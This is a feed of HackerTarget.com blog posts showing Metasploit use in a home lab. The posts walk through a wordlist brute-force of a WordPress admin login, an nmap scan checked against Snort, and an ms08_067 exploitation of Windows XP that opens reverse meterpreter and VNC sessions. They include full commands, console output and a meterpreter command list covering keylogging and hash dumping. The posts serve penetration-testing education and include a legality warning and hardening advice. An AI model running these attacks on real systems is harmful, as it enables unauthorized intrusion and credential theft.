metasploit – HackerTarget.com https://hackertarget.com Security Vulnerability Scanners and Assessments Mon, 24 Feb 2020 05:21:03 +0000 en-US hourly 1 https://wordpress.org/?v=5.5.12 Testing WordPress Password Security with Metasploit https://hackertarget.com/testing-wordpress-password-security-with-metasploit/ Wed, 01 Jun 2011 05:32:19 +0000 http://hackertarget.com/?p=1065 How easy is it to hack wordpress admin accounts? Poor WordPress password security is an ongoing issue, the purpose of this post is to highlight how easy it is to break into wordpress admin accounts that have weak passwords. Metasploit Framework is an open source penetration testing application that has modules for the explicit purpose […]

The post Testing WordPress Password Security with Metasploit appeared first on HackerTarget.com.

]]> How easy is it to hack wordpress admin accounts?

Poor WordPress password security is an ongoing issue, the purpose of this post is to highlight how easy it is to break into wordpress admin accounts that have weak passwords.

Metasploit Framework is an open source penetration testing application that has modules for the explicit purpose of breaking into systems and applications. This is the software we will use to demonstrate poor WordPress security.

Did you know with the wordpress admin account you not only lose control of your blog but on many hosts the attacker can then run code on the server with the rights of the web hosting account or web server. With the ability to run commands locally, full server root compromise is the next step.

Warning: I will be performing the password audit against a local VirtualBox running WordPress. This sort of activity is illegal in most places if used against systems that you do not have explicit permission to test.

First I download and install the Metasploit Framework into my Ubuntu Linux 11.04 Desktop system. This will be a minimal install of Metasploit with the mini installer and minimal packages to get this module running.

apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems

wget http://updates.metasploit.com/data/releases/framework-3.7.1-linux-x64-mini.run

wget http://downloads.skullsecurity.org/passwords/500-worst-passwords.txt

chmod +x framework-3.7.1-linux-x64-mini.run

sudo ./framework-3.7.1-linux-x64-mini.run

Since I am on my Ubuntu Desktop a pretty rapid7 installer pops up and it is a matter of clicking through the installer.

./msfconsole

#    # ###### #####   ##    ####  #####  #       ####  # #####
##  ## #        #    #  #  #      #    # #      #    # #   #
# ## # #####    #   #    #  ####  #    # #      #    # #   #
#    # #        #   ######      # #####  #      #    # #   #
#    # #        #   #    # #    # #      #      #    # #   #
#    # ######   #   #    #  ####  #      ######  ####  #   #


       =[ metasploit v3.7.1-release [core:3.7 api:1.0]
+ -- --=[ 687 exploits - 357 auxiliary - 39 post
+ -- --=[ 217 payloads - 27 encoders - 8 nops

msf > show auxiliary

msf > use scanner/http/wordpress_login_enum

msf auxiliary(wordpress_login_enum) >

msf auxiliary(wordpress_login_enum) >  show options

Module options (auxiliary/scanner/http/wordpress_login_enum):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE        true             yes       Perform brute force authentication
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        Use a proxy chain
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             80               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   URI               /wp-login.php    no        Define the path to the wp-login.php file
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      true             no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VALIDATE_USERS    true             yes       Enumerate usernames
   VERBOSE           true             yes       Whether to print output for all attempts
   VHOST                              no        HTTP server virtual host

msf auxiliary(wordpress_login_enum) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(wordpress_login_enum) > set USERNAME admin
USERNAME => admin
msf auxiliary(wordpress_login_enum) > set PASS_FILE /home/test/500-worst-passwords.txt
PASS_FILE => /home/test/500-worst-passwords.txt
msf auxiliary(wordpress_login_enum) > exploit

[*] http://192.168.56.101:80/wp-login.php - WordPress Enumeration - Running User Enumeration
[*] http://192.168.56.101:80/wp-login.php - WordPress Enumeration - Checking Username:'admin'
[+] http://192.168.56.101:80/wp-login.php - WordPress Enumeration- Username: 'admin' - is VALID
[+] http://192.168.56.101:80/wp-login.php - WordPress Enumeration - Found 1 valid user
[*] http://192.168.56.101:80/wp-login.php - WordPress Brute Force - Running Bruteforce
[*] http://192.168.56.101:80/wp-login.php - WordPress Brute Force - Skipping all but 1 valid user
[*] http://192.168.56.101:80/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:''
[-] http://192.168.56.101:80/wp-login.php - WordPress Brute Force - Failed to login as 'admin'

<-------------- SNIP -------------------->

[-] http://192.168.56.101:80/wp-login.php - WordPress Brute Force - Failed to login as 'admin'
[*] http://192.168.56.101:80/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'albert'
[-] http://192.168.56.101:80/wp-login.php - WordPress Brute Force - Failed to login as 'admin'
[*] http://192.168.56.101:80/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'toor'
[+] http://192.168.56.101:80/wp-login.php - WordPress Brute Force - SUCCESSFUL login for 'admin' : 'toor'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Password has been found! Testing these 500 passwords was fast. Obviously over the speed will depend on the network link and the server speed.

One of the things that makes breaking wordpress accounts easy is that the username can be enumerated from the admin login screen.



It is important to rename the admin account on installations of wordpress and to use a complicated password of adequate length. I have shown above how easy it is to guess hundreds of passwords very quickly.

More details on securing your system can be found at WordPress.org, understanding what is running on your wordpress blog and other security risks is an important step in maintaining a secure system. HackerTarget.com has a free WordPress Security Scan that can be used to check some of these issues.

Details on the Metasploit Module used for this testing can be found here

Enumerate & Exploit

Discover advanced WordPress hacking techniques

Attacking WordPress

Hosted Security Scanners
& Tools

Test WordPress, Servers & Networks

Use cases & more info

The post Testing WordPress Password Security with Metasploit appeared first on HackerTarget.com.

]]> Armitage – Cyber Attack Management for Metasploit https://hackertarget.com/armitage-cyber-attack-management-for-metasploit/ Thu, 06 Jan 2011 02:14:15 +0000 http://hackertarget.com/?p=721 Metasploit development continues in leaps and bounds both from within Rapid7 and from the community. This is newly released tool puts the power of the Metasploit Framework into the hands of those who prefer point and clicky interfaces. Why does Armitage exist? "I've met too many security professionals who don't know how to use Metasploit. […]

The post Armitage – Cyber Attack Management for Metasploit appeared first on HackerTarget.com.

]]> Metasploit development continues in leaps and bounds both from within Rapid7 and from the community. This is newly released tool puts the power of the Metasploit Framework into the hands of those who prefer point and clicky interfaces.

Why does Armitage exist?

"I've met too many security professionals who don't know how to use Metasploit. Sadly, I was one of them. I've always felt Metasploit could use a non-commercial GUI organized around the hacking process. So, I made Armitage" - Raphael Mudge.

Armitage exists to help security professionals better understand the hacking process and appreciate what's possible with the powerful Metasploit framework. Security professionals who understand hacking will make better decisions to protect you and your information.

Armitage - Cyber Attack Management for Metasploit.

The post Armitage – Cyber Attack Management for Metasploit appeared first on HackerTarget.com.

]]> Metasploit vs Snort as Snorby https://hackertarget.com/metasploit-vs-snort-as-snorby/ Wed, 02 Jun 2010 06:47:12 +0000 http://hackertarget.com/?p=574 Recently I stumbled acorss Snorby, an excellent easy to use implementation of Snort. It is a new web interface for Snort that is very pretty, but also simple. An excellent introduction to Intrusion Detection Systems, that is not going to scare anyone away. Now how to I get hold of this I hear you cry.... […]

The post Metasploit vs Snort as Snorby appeared first on HackerTarget.com.

]]> Recently I stumbled acorss Snorby, an excellent easy to use implementation of Snort.

It is a new web interface for Snort that is very pretty, but also simple. An excellent introduction to Intrusion Detection Systems, that is not going to scare anyone away.

Now how to I get hold of this I hear you cry.... head over here and grab the preconfigured security appliance.

I downloaded the iso, fired up a virtualbox machine and away it went. Seriously a working Snort install in under 10mins. Nice!

Obviously you want to test your snort, so I fired off an nmap scan with the script option against my Windows XP SP2 test machine.

# nmap -sC 192.168.56.101

Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2010-06-02 10:19 EST
Nmap scan report for 192.168.56.101
Host is up (0.0032s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 08:22:22:22:22:22 

Host script results:
|_nbstat: NetBIOS name: ASDF, NetBIOS user: , NetBIOS MAC: 22:22:22:22:22:22
| smb-os-discovery:  
|   OS: Windows XP (Windows 2000 LAN Manager)
|   Name: WORKGROUP\ASDF
|_  System time: 2010-06-02 10:19:58 UTC-7
|_smbv2-enabled: Server doesn't support SMBv2 protocol

Nmap done: 1 IP address (1 host up) scanned in 12.09 seconds

Snorby showed me some nice port scan alerts (see image)

Now I was running through my guide to Metasploit 3.4.0 and figured I would see something in Snorby. As shown in the guide I successfully ran metasploit with ms08_067 exploit using a meterpreter payload and a vnc dll injection payload. Gaining full access to the Windows XP SP2 machine.

Snorby (and Snort) results show nothing.

Hmm, Snorby is running with up to date rules from emerging threats and snort. I was quite surprised and will be looking into the reasons for this in the near future. I would have thought I would have triggered something in the snort rules during this exploit.

The post Metasploit vs Snort as Snorby appeared first on HackerTarget.com.

]]> Metasploit 3.4.0 on Ubuntu 10.04 a quick introduction https://hackertarget.com/metasploit-3-4-0-on-ubuntu-10-04-a-quick-introduction/ Wed, 02 Jun 2010 05:56:47 +0000 http://hackertarget.com/?p=568 Perhaps you have heard of metasploit. It is a very powerful exploitation framework developed by HD Moore. Solid growth has seen an early version that was a few exploits in a perl based wrapper turn into a ruby coded framework that is competing with Core Impact and Canvas in the pen-testing community. Here is a […]

The post Metasploit 3.4.0 on Ubuntu 10.04 a quick introduction appeared first on HackerTarget.com.

]]> Perhaps you have heard of metasploit. It is a very powerful exploitation framework developed by HD Moore.

Solid growth has seen an early version that was a few exploits in a perl based wrapper turn into a ruby coded framework that is competing with Core Impact and Canvas in the pen-testing community.

Here is a quick and dirty introduction to running it on Ubuntu Linux 10.04. Of course it will run just as easily on Fedora Linux, Windows or whatever Operating System floats your boat.

Download the framework from https://www.metasploit.com/get-started

I chose the binary version for 64 bit Linux.

Ruby is not installed by default in Ubuntu so start off with:

apt-get install ruby
chmod +x framework-3.4.0-linux-x86_64.run
 ./framework-3.4.0-linux-x86_64.run 
Verifying archive integrity... All good.
Uncompressing Metasploit Framework v3.4.0-release Installer (64-bit)........


                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888

Metasploit Framework v3.4.0 Release
    Report Bugs: msfdev@metasploit.com


Warning: A copy of Metasploit already exists at /opt/metasploit3
         continuing this installation will DELETE the previous  
         install, including all user-modified files.

Please enter 'yes' to continue or any other key to abort
Continue (yes/no) > yes

This installer will place Metasploit into the /opt/metasploit3 directory.
Continue (yes/no) > yes
Removing files from the previous installation...

Extracting the Metasploit operating environment...

Extracting the Metasploit Framework...

Installing links into /usr/local/bin...

Installation complete.

Would you like to automatically update Metasploit?
AutoUpdate? (yes/no) > yes


*** snip ***

Updated to revision 9390.

Launch the Metasploit console by running 'msfconsole'

Exiting the installer...
root@testbox:/home/testuser/Downloads# msfconsole

                                  _
                                 | |      o
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                           /|
                           \|


       =[ metasploit v3.4.1-dev [core:3.4 api:1.0]
+ -- --=[ 553 exploits - 264 auxiliary
+ -- --=[ 208 payloads - 23 encoders - 8 nops
       =[ svn r9390 updated today (2010.06.01)

msf > exit

We have a working Metasploit, hoorah for us.

Exploit

Let's do a quick exploit of a Windows XP SP2 test machine I have on my network. It is running in a Sun Virtual box using Host Only Networking as we will see shortly.

I like to use the command line utility for msf (msfcli) as once you get used to the syntax it is easier and faster. However if you prefer go with the msfconsole.

Running #msfcli will list all exploits, payloads and other modules.

#msfcli | grep 08_067
exploit/windows/smb/ms08_067_netapi

Lets hit my windows box with exploit/windows/smb/ms08_067_netapi it is stable and works very well.

#msfcli  exploit/windows/smb/ms08_067_netapi
[*] Please wait while we load the module tree...
Usage: /opt/metasploit3/msf3/msfcli   [mode]
========================================================================

    Mode           Description
    ----           -----------
    (H)elp         You're looking at it baby!
    (S)ummary      Show information about this module
    (O)ptions      Show available options for this module
    (A)dvanced     Show available advanced options for this module
    (I)DS Evasion  Show available ids evasion options for this module
    (P)ayloads     Show available payloads for this module
    (T)argets      Show available targets for this exploit module
    (AC)tions      Show available actions for this auxiliary module
    (C)heck        Run the check routine of the selected module
    (E)xecute      Execute the selected module

#msfcli  exploit/windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Running the following will display all payloads that will work with ms08_067_netapi. I have selected two in the following examples. A reverse meterpreter and a vnc reverse dll injection.
#msfcli exploit/windows/smb/ms08_067_netapi P

My windows box is 192.168.56.101 and my local Ubuntu system is 192.168.56.1

# msfcli  exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/reverse_tcp RHOST=192.168.56.101 LHOST=192.168.56.1 E
[*] Please wait while we load the module tree...
[*] Started reverse handler on 192.168.56.1:4444 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (748032 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1050)

meterpreter > run checkvm
[*] Checking if target is a Virtual Machine .....
[*] This is a Sun VirtualBox Virtual Machine
meterpreter > run getcountermeasure
[*] Running Getcountermeasure on the target...
[*] Checking for contermeasures...
[*] 	Possible countermeasure found avgemc.exe C:\Program Files\AVG\AVG9\avgemc.exe
[*] Getting Windows Built in Firewall configuration...
[*] 	
[*] 	Domain profile configuration:
[*] 	-------------------------------------------------------------------
[*] 	Operational mode                  = Enable
[*] 	Exception mode                    = Enable
[*] 	
[*] 	Standard profile configuration (current):
[*] 	-------------------------------------------------------------------
[*] 	Operational mode                  = Disable
[*] 	Exception mode                    = Enable
[*] 	
[*] 	Local Area Connection firewall configuration:
[*] 	-------------------------------------------------------------------
[*] 	Operational mode                  = Enable
[*] 	
[*] 	Local Area Connection 2 firewall configuration:
[*] 	-------------------------------------------------------------------
[*] 	Operational mode                  = Enable
[*] 	
[*] Checking DEP Support Policy...
meterpreter > run get_local_subnets
Local subnet: 10.0.2.0/255.255.255.0
Local subnet: 192.168.56.0/255.255.255.0
meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    bgkill        Kills a background meterpreter script
    bglist        Lists running background scripts
    bgrun         Executes a meterpreter script as a background thread
    channel       Displays information about active channels
    close         Closes a channel
    exit          Terminate the meterpreter session
    help          Help menu
    interact      Interacts with a channel
    irb           Drop into irb scripting mode
    migrate       Migrate the server to another process
    quit          Terminate the meterpreter session
    read          Reads data from a channel
    run           Executes a meterpreter script
    use           Load a one or more meterpreter extensions
    write         Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    del           Delete the specified file
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getpid        Get the current process identifier
    getprivs      Get as many privileges as possible
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

meterpreter >  pwd
C:\WINDOWS\system32
meterpreter > cd ..
meterpreter > cd ..
meterpreter > pwd
C:\
meterpreter >  ls

Listing: C:\
============

Mode              Size       Type  Last modified              Name
----              ----       ----  -------------              ----
40777/rwxrwxrwx   0          dir   2009-12-22 05:59:31 +1100  $AVG
100777/rwxrwxrwx  0          fil   2009-12-22 05:39:51 +1100  AUTOEXEC.BAT
100666/rw-rw-rw-  0          fil   2009-12-22 05:39:51 +1100  CONFIG.SYS
40777/rwxrwxrwx   0          dir   2010-02-12 15:23:25 +1100  Documents and Settings
100444/r--r--r--  0          fil   2009-12-22 05:39:51 +1100  IO.SYS
40777/rwxrwxrwx   0          dir   2010-02-11 13:11:43 +1100  Inetpub
100444/r--r--r--  0          fil   2009-12-22 05:39:51 +1100  MSDOS.SYS
100555/r-xr-xr-x  47564      fil   2004-08-04 22:00:00 +1000  NTDETECT.COM
40555/r-xr-xr-x   0          dir   2010-04-08 15:57:51 +1000  Program Files
40777/rwxrwxrwx   0          dir   2010-04-09 13:14:56 +1000  RECYCLER
40777/rwxrwxrwx   0          dir   2009-12-22 05:43:08 +1100  System Volume Information
40777/rwxrwxrwx   0          dir   2010-04-09 13:18:19 +1000  WINDOWS
100666/rw-rw-rw-  211        fil   2009-12-22 05:35:20 +1100  boot.ini
100444/r--r--r--  250032     fil   2004-08-04 22:00:00 +1000  ntldr
100666/rw-rw-rw-  301989888  fil   2010-06-01 02:21:17 +1000  pagefile.sys

The power of the meterpreter is really only limited by your imagination. Keylogging, screen captures, adding accounts, dumping the hashes to be cracked offline.....

A VNC injection

# msfcli  exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/vncinject/reverse_tcp RHOST=192.168.56.101 LHOST=192.168.56.1 E
[*] Please wait while we load the module tree...
[*] Started reverse handler on 192.168.56.1:4444 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (445440 bytes) to 192.168.56.101
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vnciewer in the background.
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name "snipped"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
[*] VNC Server session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1062)

This should pop up a vnc session with full desktop control of your Windows XP SP2 Host. This is a dramatic way to show people the power of metasploit and to reinforce the need for patching to your users.

I did a recent demonstration to a group of corporate helpdesk operators and they were quite surprised at just how easy it can be.

The post Metasploit 3.4.0 on Ubuntu 10.04 a quick introduction appeared first on HackerTarget.com.

]]>